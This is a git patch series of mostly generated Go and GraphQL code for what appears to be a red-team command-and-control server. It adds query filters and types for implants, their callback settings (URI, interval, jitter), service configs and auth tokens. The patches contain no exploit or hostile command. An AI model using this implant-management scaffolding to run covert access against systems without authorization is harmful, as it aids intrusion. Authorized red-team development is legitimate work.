graphql.NewPathWithField("processnameContains")) + it.ProcessNameContains, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "processnameHasPrefix": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("processnameHasPrefix")) + it.ProcessNameHasPrefix, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "processnameHasSuffix": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("processnameHasSuffix")) + it.ProcessNameHasSuffix, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "processnameIsNil": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("processnameIsNil")) + it.ProcessNameIsNil, err = ec.unmarshalOBoolean2bool(ctx, v) + if err != nil { + return it, err + } + case "processnameNotNil": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("processnameNotNil")) + it.ProcessNameNotNil, err = ec.unmarshalOBoolean2bool(ctx, v) + if err != nil { + return it, err + } + case "processnameEqualFold": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("processnameEqualFold")) + it.ProcessNameEqualFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "processnameContainsFold": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("processnameContainsFold")) + it.ProcessNameContainsFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "id": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("id")) + it.ID, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idNEQ": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idNEQ")) + it.IDNEQ, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idIn")) + it.IDIn, err = ec.unmarshalOID2ᚕintᚄ(ctx, v) + if err != nil { + return it, err + } + case "idNotIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idNotIn")) + it.IDNotIn, err = ec.unmarshalOID2ᚕintᚄ(ctx, v) + if err != nil { + return it, err + } + case "idGT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idGT")) + it.IDGT, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idGTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idGTE")) + it.IDGTE, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idLT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idLT")) + it.IDLT, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idLTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idLTE")) + it.IDLTE, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "hasTarget": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTarget")) + it.HasTarget, err = ec.unmarshalOBoolean2ᚖbool(ctx, v) + if err != nil { + return it, err + } + case "hasTargetWith": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasTargetWith")) + it.HasTargetWith, err = ec.unmarshalOTargetWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐTargetWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + case "hasConfig": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasConfig")) + it.HasConfig, err = ec.unmarshalOBoolean2ᚖbool(ctx, v) + if err != nil { + return it, err + } + case "hasConfigWith": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasConfigWith")) + it.HasConfigWith, err = ec.unmarshalOImplantConfigWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantConfigWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + } + } + + return it, nil +} + +func (ec *executionContext) unmarshalInputTargetOrder(ctx context.Context, obj interface{}) (ent.TargetOrder, error) { + var it ent.TargetOrder + asMap := map[string]interface{}{} + for k, v := range obj.(map[string]interface{}) { + asMap[k] = v + } + + for k, v := range asMap { + switch k { + case "direction": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("direction")) + it.Direction, err = ec.unmarshalNOrderDirection2githubᚗcomᚋkcarrettoᚋrealmᚋentᚐOrderDirection(ctx, v) + if err != nil { + return it, err + } + case "field": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("field")) + it.Field, err = ec.unmarshalOTargetOrderField2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐTargetOrderField(ctx, v) + if err != nil { + return it, err + } + } + } + + return it, nil +} + +func (ec *executionContext) unmarshalInputTargetWhereInput(ctx context.Context, obj interface{}) (ent.TargetWhereInput, error) { + var it ent.TargetWhereInput + asMap := map[string]interface{}{} + for k, v := range obj.(map[string]interface{}) { + asMap[k] = v + } + + for k, v := range asMap { + switch k { + case "not": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("not")) + it.Not, err = ec.unmarshalOTargetWhereInput2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐTargetWhereInput(ctx, v) + if err != nil { + return it, err + } + case "and": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("and")) + it.And, err = ec.unmarshalOTargetWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐTargetWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + case "or": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("or")) + it.Or, err = ec.unmarshalOTargetWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐTargetWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } + case "name": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("name")) + it.Name, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameNEQ": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNEQ")) + it.NameNEQ, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameIn")) + it.NameIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + case "nameNotIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameNotIn")) + it.NameNotIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + case "nameGT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGT")) + it.NameGT, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameGTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameGTE")) + it.NameGTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameLT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLT")) + it.NameLT, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameLTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameLTE")) + it.NameLTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameContains": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContains")) + it.NameContains, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameHasPrefix": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasPrefix")) + it.NameHasPrefix, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameHasSuffix": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameHasSuffix")) + it.NameHasSuffix, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameEqualFold": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameEqualFold")) + it.NameEqualFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "nameContainsFold": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("nameContainsFold")) + it.NameContainsFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "forwardconnectip": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectip")) + it.ForwardConnectIP, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "forwardconnectipNEQ": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipNEQ")) + it.ForwardConnectIPNEQ, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "forwardconnectipIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipIn")) + it.ForwardConnectIPIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + case "forwardconnectipNotIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipNotIn")) + it.ForwardConnectIPNotIn, err = ec.unmarshalOString2ᚕstringᚄ(ctx, v) + if err != nil { + return it, err + } + case "forwardconnectipGT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipGT")) + it.ForwardConnectIPGT, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "forwardconnectipGTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipGTE")) + it.ForwardConnectIPGTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "forwardconnectipLT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipLT")) + it.ForwardConnectIPLT, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "forwardconnectipLTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipLTE")) + it.ForwardConnectIPLTE, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "forwardconnectipContains": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipContains")) + it.ForwardConnectIPContains, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "forwardconnectipHasPrefix": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipHasPrefix")) + it.ForwardConnectIPHasPrefix, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "forwardconnectipHasSuffix": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipHasSuffix")) + it.ForwardConnectIPHasSuffix, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "forwardconnectipEqualFold": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipEqualFold")) + it.ForwardConnectIPEqualFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "forwardconnectipContainsFold": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("forwardconnectipContainsFold")) + it.ForwardConnectIPContainsFold, err = ec.unmarshalOString2ᚖstring(ctx, v) + if err != nil { + return it, err + } + case "id": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("id")) + it.ID, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idNEQ": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idNEQ")) + it.IDNEQ, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idIn")) + it.IDIn, err = ec.unmarshalOID2ᚕintᚄ(ctx, v) + if err != nil { + return it, err + } + case "idNotIn": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idNotIn")) + it.IDNotIn, err = ec.unmarshalOID2ᚕintᚄ(ctx, v) + if err != nil { + return it, err + } + case "idGT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idGT")) + it.IDGT, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idGTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idGTE")) + it.IDGTE, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idLT": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idLT")) + it.IDLT, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "idLTE": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("idLTE")) + it.IDLTE, err = ec.unmarshalOID2ᚖint(ctx, v) + if err != nil { + return it, err + } + case "hasCredentials": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasCredentials")) + it.HasCredentials, err = ec.unmarshalOBoolean2ᚖbool(ctx, v) + if err != nil { + return it, err + } + case "hasCredentialsWith": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasCredentialsWith")) it.HasCredentialsWith, err = ec.unmarshalOCredentialWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐCredentialWhereInputᚄ(ctx, v) if err != nil { return it, err } + case "hasImplants": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasImplants")) + it.HasImplants, err = ec.unmarshalOBoolean2ᚖbool(ctx, v) + if err != nil { + return it, err + } + case "hasImplantsWith": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("hasImplantsWith")) + it.HasImplantsWith, err = ec.unmarshalOImplantWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantWhereInputᚄ(ctx, v) + if err != nil { + return it, err + } } } @@ -6483,6 +8401,26 @@ func (ec *executionContext) marshalNID2ᚕintᚄ(ctx context.Context, sel ast.Se return ret } +func (ec *executionContext) unmarshalNImplantCallbackConfigWhereInput2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantCallbackConfigWhereInput(ctx context.Context, v interface{}) (*ent.ImplantCallbackConfigWhereInput, error) { + res, err := ec.unmarshalInputImplantCallbackConfigWhereInput(ctx, v) + return &res, graphql.ErrorOnPath(ctx, err) +} + +func (ec *executionContext) unmarshalNImplantConfigWhereInput2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantConfigWhereInput(ctx context.Context, v interface{}) (*ent.ImplantConfigWhereInput, error) { + res, err := ec.unmarshalInputImplantConfigWhereInput(ctx, v) + return &res, graphql.ErrorOnPath(ctx, err) +} + +func (ec *executionContext) unmarshalNImplantServiceConfigWhereInput2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantServiceConfigWhereInput(ctx context.Context, v interface{}) (*ent.ImplantServiceConfigWhereInput, error) { + res, err := ec.unmarshalInputImplantServiceConfigWhereInput(ctx, v) + return &res, graphql.ErrorOnPath(ctx, err) +} + +func (ec *executionContext) unmarshalNImplantWhereInput2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantWhereInput(ctx context.Context, v interface{}) (*ent.ImplantWhereInput, error) { + res, err := ec.unmarshalInputImplantWhereInput(ctx, v) + return &res, graphql.ErrorOnPath(ctx, err) +} + func (ec *executionContext) unmarshalNInt2int(ctx context.Context, v interface{}) (int, error) { res, err := graphql.UnmarshalInt(v) return res, graphql.ErrorOnPath(ctx, err) @@ -7306,6 +9244,118 @@ func (ec *executionContext) marshalOID2ᚖint(ctx context.Context, sel ast.Selec return res } +func (ec *executionContext) unmarshalOImplantCallbackConfigWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantCallbackConfigWhereInputᚄ(ctx context.Context, v interface{}) ([]*ent.ImplantCallbackConfigWhereInput, error) { + if v == nil { + return nil, nil + } + var vSlice []interface{} + if v != nil { + vSlice = graphql.CoerceList(v) + } + var err error + res := make([]*ent.ImplantCallbackConfigWhereInput, len(vSlice)) + for i := range vSlice { + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithIndex(i)) + res[i], err = ec.unmarshalNImplantCallbackConfigWhereInput2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantCallbackConfigWhereInput(ctx, vSlice[i]) + if err != nil { + return nil, err + } + } + return res, nil +} + +func (ec *executionContext) unmarshalOImplantCallbackConfigWhereInput2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantCallbackConfigWhereInput(ctx context.Context, v interface{}) (*ent.ImplantCallbackConfigWhereInput, error) { + if v == nil { + return nil, nil + } + res, err := ec.unmarshalInputImplantCallbackConfigWhereInput(ctx, v) + return &res, graphql.ErrorOnPath(ctx, err) +} + +func (ec *executionContext) unmarshalOImplantConfigWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantConfigWhereInputᚄ(ctx context.Context, v interface{}) ([]*ent.ImplantConfigWhereInput, error) { + if v == nil { + return nil, nil + } + var vSlice []interface{} + if v != nil { + vSlice = graphql.CoerceList(v) + } + var err error + res := make([]*ent.ImplantConfigWhereInput, len(vSlice)) + for i := range vSlice { + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithIndex(i)) + res[i], err = ec.unmarshalNImplantConfigWhereInput2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantConfigWhereInput(ctx, vSlice[i]) + if err != nil { + return nil, err + } + } + return res, nil +} + +func (ec *executionContext) unmarshalOImplantConfigWhereInput2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantConfigWhereInput(ctx context.Context, v interface{}) (*ent.ImplantConfigWhereInput, error) { + if v == nil { + return nil, nil + } + res, err := ec.unmarshalInputImplantConfigWhereInput(ctx, v) + return &res, graphql.ErrorOnPath(ctx, err) +} + +func (ec *executionContext) unmarshalOImplantServiceConfigWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantServiceConfigWhereInputᚄ(ctx context.Context, v interface{}) ([]*ent.ImplantServiceConfigWhereInput, error) { + if v == nil { + return nil, nil + } + var vSlice []interface{} + if v != nil { + vSlice = graphql.CoerceList(v) + } + var err error + res := make([]*ent.ImplantServiceConfigWhereInput, len(vSlice)) + for i := range vSlice { + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithIndex(i)) + res[i], err = ec.unmarshalNImplantServiceConfigWhereInput2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantServiceConfigWhereInput(ctx, vSlice[i]) + if err != nil { + return nil, err + } + } + return res, nil +} + +func (ec *executionContext) unmarshalOImplantServiceConfigWhereInput2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantServiceConfigWhereInput(ctx context.Context, v interface{}) (*ent.ImplantServiceConfigWhereInput, error) { + if v == nil { + return nil, nil + } + res, err := ec.unmarshalInputImplantServiceConfigWhereInput(ctx, v) + return &res, graphql.ErrorOnPath(ctx, err) +} + +func (ec *executionContext) unmarshalOImplantWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantWhereInputᚄ(ctx context.Context, v interface{}) ([]*ent.ImplantWhereInput, error) { + if v == nil { + return nil, nil + } + var vSlice []interface{} + if v != nil { + vSlice = graphql.CoerceList(v) + } + var err error + res := make([]*ent.ImplantWhereInput, len(vSlice)) + for i := range vSlice { + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithIndex(i)) + res[i], err = ec.unmarshalNImplantWhereInput2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantWhereInput(ctx, vSlice[i]) + if err != nil { + return nil, err + } + } + return res, nil +} + +func (ec *executionContext) unmarshalOImplantWhereInput2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantWhereInput(ctx context.Context, v interface{}) (*ent.ImplantWhereInput, error) { + if v == nil { + return nil, nil + } + res, err := ec.unmarshalInputImplantWhereInput(ctx, v) + return &res, graphql.ErrorOnPath(ctx, err) +} + func (ec *executionContext) unmarshalOInt2ᚕintᚄ(ctx context.Context, v interface{}) ([]int, error) { if v == nil { return nil, nil diff --git a/graphql/schema/ent.graphql b/graphql/schema/ent.graphql index e35515f25..67eec3dcc 100644 --- a/graphql/schema/ent.graphql +++ b/graphql/schema/ent.graphql @@ -110,6 +110,10 @@ input TargetWhereInput { """credentials edge predicates""" hasCredentials: Boolean hasCredentialsWith: [CredentialWhereInput!] + + """implants edge predicates""" + hasImplants: Boolean + hasImplantsWith: [ImplantWhereInput!] } """ @@ -191,3 +195,273 @@ input FileWhereInput { idLT: ID idLTE: ID } + +""" +ImplantWhereInput is used for filtering Implant objects. +Input was generated by ent. +""" +input ImplantWhereInput { + not: ImplantWhereInput + and: [ImplantWhereInput!] + or: [ImplantWhereInput!] + + """sessionID field predicates""" + sessionid: String + sessionidNEQ: String + sessionidIn: [String!] + sessionidNotIn: [String!] + sessionidGT: String + sessionidGTE: String + sessionidLT: String + sessionidLTE: String + sessionidContains: String + sessionidHasPrefix: String + sessionidHasSuffix: String + sessionidEqualFold: String + sessionidContainsFold: String + + """processName field predicates""" + processname: String + processnameNEQ: String + processnameIn: [String!] + processnameNotIn: [String!] + processnameGT: String + processnameGTE: String + processnameLT: String + processnameLTE: String + processnameContains: String + processnameHasPrefix: String + processnameHasSuffix: String + processnameIsNil: Boolean + processnameNotNil: Boolean + processnameEqualFold: String + processnameContainsFold: String + + """id field predicates""" + id: ID + idNEQ: ID + idIn: [ID!] + idNotIn: [ID!] + idGT: ID + idGTE: ID + idLT: ID + idLTE: ID + + """target edge predicates""" + hasTarget: Boolean + hasTargetWith: [TargetWhereInput!] + + """config edge predicates""" + hasConfig: Boolean + hasConfigWith: [ImplantConfigWhereInput!] +} + +""" +ImplantCallbackConfigWhereInput is used for filtering ImplantCallbackConfig objects. +Input was generated by ent. +""" +input ImplantCallbackConfigWhereInput { + not: ImplantCallbackConfigWhereInput + and: [ImplantCallbackConfigWhereInput!] + or: [ImplantCallbackConfigWhereInput!] + + """uri field predicates""" + uri: String + uriNEQ: String + uriIn: [String!] + uriNotIn: [String!] + uriGT: String + uriGTE: String + uriLT: String + uriLTE: String + uriContains: String + uriHasPrefix: String + uriHasSuffix: String + uriEqualFold: String + uriContainsFold: String + + """priority field predicates""" + priority: Int + priorityNEQ: Int + priorityIn: [Int!] + priorityNotIn: [Int!] + priorityGT: Int + priorityGTE: Int + priorityLT: Int + priorityLTE: Int + + """timeout field predicates""" + timeout: Int + timeoutNEQ: Int + timeoutIn: [Int!] + timeoutNotIn: [Int!] + timeoutGT: Int + timeoutGTE: Int + timeoutLT: Int + timeoutLTE: Int + + """interval field predicates""" + interval: Int + intervalNEQ: Int + intervalIn: [Int!] + intervalNotIn: [Int!] + intervalGT: Int + intervalGTE: Int + intervalLT: Int + intervalLTE: Int + + """jitter field predicates""" + jitter: Int + jitterNEQ: Int + jitterIn: [Int!] + jitterNotIn: [Int!] + jitterGT: Int + jitterGTE: Int + jitterLT: Int + jitterLTE: Int + + """id field predicates""" + id: ID + idNEQ: ID + idIn: [ID!] + idNotIn: [ID!] + idGT: ID + idGTE: ID + idLT: ID + idLTE: ID + + """implantConfigs edge predicates""" + hasImplantConfigs: Boolean + hasImplantConfigsWith: [ImplantConfigWhereInput!] +} + +""" +ImplantConfigWhereInput is used for filtering ImplantConfig objects. +Input was generated by ent. +""" +input ImplantConfigWhereInput { + not: ImplantConfigWhereInput + and: [ImplantConfigWhereInput!] + or: [ImplantConfigWhereInput!] + + """name field predicates""" + name: String + nameNEQ: String + nameIn: [String!] + nameNotIn: [String!] + nameGT: String + nameGTE: String + nameLT: String + nameLTE: String + nameContains: String + nameHasPrefix: String + nameHasSuffix: String + nameEqualFold: String + nameContainsFold: String + + """authToken field predicates""" + authtoken: String + authtokenNEQ: String + authtokenIn: [String!] + authtokenNotIn: [String!] + authtokenGT: String + authtokenGTE: String + authtokenLT: String + authtokenLTE: String + authtokenContains: String + authtokenHasPrefix: String + authtokenHasSuffix: String + authtokenEqualFold: String + authtokenContainsFold: String + + """id field predicates""" + id: ID + idNEQ: ID + idIn: [ID!] + idNotIn: [ID!] + idGT: ID + idGTE: ID + idLT: ID + idLTE: ID + + """implants edge predicates""" + hasImplants: Boolean + hasImplantsWith: [ImplantWhereInput!] + + """serviceConfigs edge predicates""" + hasServiceConfigs: Boolean + hasServiceConfigsWith: [ImplantServiceConfigWhereInput!] + + """callbackConfigs edge predicates""" + hasCallbackConfigs: Boolean + hasCallbackConfigsWith: [ImplantCallbackConfigWhereInput!] +} + +""" +ImplantServiceConfigWhereInput is used for filtering ImplantServiceConfig objects. +Input was generated by ent. +""" +input ImplantServiceConfigWhereInput { + not: ImplantServiceConfigWhereInput + and: [ImplantServiceConfigWhereInput!] + or: [ImplantServiceConfigWhereInput!] + + """name field predicates""" + name: String + nameNEQ: String + nameIn: [String!] + nameNotIn: [String!] + nameGT: String + nameGTE: String + nameLT: String + nameLTE: String + nameContains: String + nameHasPrefix: String + nameHasSuffix: String + nameEqualFold: String + nameContainsFold: String + + """description field predicates""" + description: String + descriptionNEQ: String + descriptionIn: [String!] + descriptionNotIn: [String!] + descriptionGT: String + descriptionGTE: String + descriptionLT: String + descriptionLTE: String + descriptionContains: String + descriptionHasPrefix: String + descriptionHasSuffix: String + descriptionEqualFold: String + descriptionContainsFold: String + + """executablePath field predicates""" + executablepath: String + executablepathNEQ: String + executablepathIn: [String!] + executablepathNotIn: [String!] + executablepathGT: String + executablepathGTE: String + executablepathLT: String + executablepathLTE: String + executablepathContains: String + executablepathHasPrefix: String + executablepathHasSuffix: String + executablepathEqualFold: String + executablepathContainsFold: String + + """id field predicates""" + id: ID + idNEQ: ID + idIn: [ID!] + idNotIn: [ID!] + idGT: ID + idGTE: ID + idLT: ID + idLTE: ID + + """implantConfigs edge predicates""" + hasImplantConfigs: Boolean + hasImplantConfigsWith: [ImplantConfigWhereInput!] +} diff --git a/graphql/schema/implant.graphql b/graphql/schema/implant.graphql new file mode 100644 index 000000000..771820e12 --- /dev/null +++ b/graphql/schema/implant.graphql @@ -0,0 +1,33 @@ +type ImplantCallbackConfig implements Node { + id: ID! + uri: String! + priority: Int! + timeout: Int! + interval: Int! + jitter: Int! +} + +type ImplantServiceConfig implements Node { + id: ID! + name: String! + description: String! + executablePath: String! +} + +type ImplantConfig implements Node { + id: ID! + name: String! + authToken: String! + + serviceConfigs: [ImplantServiceConfig!] + callbackConfigs: [ImplantCallbackConfig!] +} + +type Implant implements Node { + id: ID! + sessionID: String! + processName: String + + target: Target! + config: ImplantConfig! +} \ No newline at end of file From 12e117d3eeb51c7c1d32b9b0c39672ad610a7d5d Mon Sep 17 00:00:00 2001 From: Kyle Carretto Date: Wed, 23 Feb 2022 03:15:35 +0000 Subject: [PATCH 15/56] Removed unused function --- ent/schema/implant.go | 14 -------------- 1 file changed, 14 deletions(-) diff --git a/ent/schema/implant.go b/ent/schema/implant.go index e284e055e..6b05f68f9 100644 --- a/ent/schema/implant.go +++ b/ent/schema/implant.go @@ -1,11 +1,6 @@ package schema import ( - "crypto/rand" - "encoding/base64" - "fmt" - "io" - "entgo.io/ent" "entgo.io/ent/schema/edge" "entgo.io/ent/schema/field" @@ -41,12 +36,3 @@ func (Implant) Edges() []ent.Edge { Comment("Configuration for this implant"), } } - -func newSessionID() string { - buf := make([]byte, 32) - _, err := io.ReadFull(rand.Reader, buf) - if err != nil { - panic(fmt.Errorf("failed to generate authToken: %w", err)) - } - return base64.StdEncoding.EncodeToString(buf) -} From 4f6331d03fa7b5e8097a3dd8a70be75251693b76 Mon Sep 17 00:00:00 2001 From: Kyle Carretto Date: Wed, 23 Feb 2022 05:44:18 +0000 Subject: [PATCH 16/56] Added initial callback mutation --- cmd/tavern/internal/www/schema.graphql | 286 +++ cmd/tavern/main.go | 1 + ent/entc.go | 11 +- ent/privacy/privacy.go | 333 +++ ent/viewer/viewer.go | 67 + graphql/generated.go | 2557 +++++++++++++++++++----- graphql/gqlgen.yml | 5 + graphql/models_gen.go | 12 + graphql/mutation.callback_test.go | 105 + graphql/mutation.resolvers.go | 53 + graphql/schema/implant.graphql | 4 + graphql/schema/mutation.graphql | 8 + 12 files changed, 2962 insertions(+), 480 deletions(-) create mode 100644 ent/privacy/privacy.go create mode 100644 ent/viewer/viewer.go create mode 100644 graphql/mutation.callback_test.go diff --git a/cmd/tavern/internal/www/schema.graphql b/cmd/tavern/internal/www/schema.graphql index 4bc10fbb1..fd09b6898 100644 --- a/cmd/tavern/internal/www/schema.graphql +++ b/cmd/tavern/internal/www/schema.graphql @@ -148,6 +148,10 @@ input TargetWhereInput { """credentials edge predicates""" hasCredentials: Boolean hasCredentialsWith: [CredentialWhereInput!] + + """implants edge predicates""" + hasImplants: Boolean + hasImplantsWith: [ImplantWhereInput!] } """ @@ -229,6 +233,276 @@ input FileWhereInput { idLT: ID idLTE: ID } + +""" +ImplantWhereInput is used for filtering Implant objects. +Input was generated by ent. +""" +input ImplantWhereInput { + not: ImplantWhereInput + and: 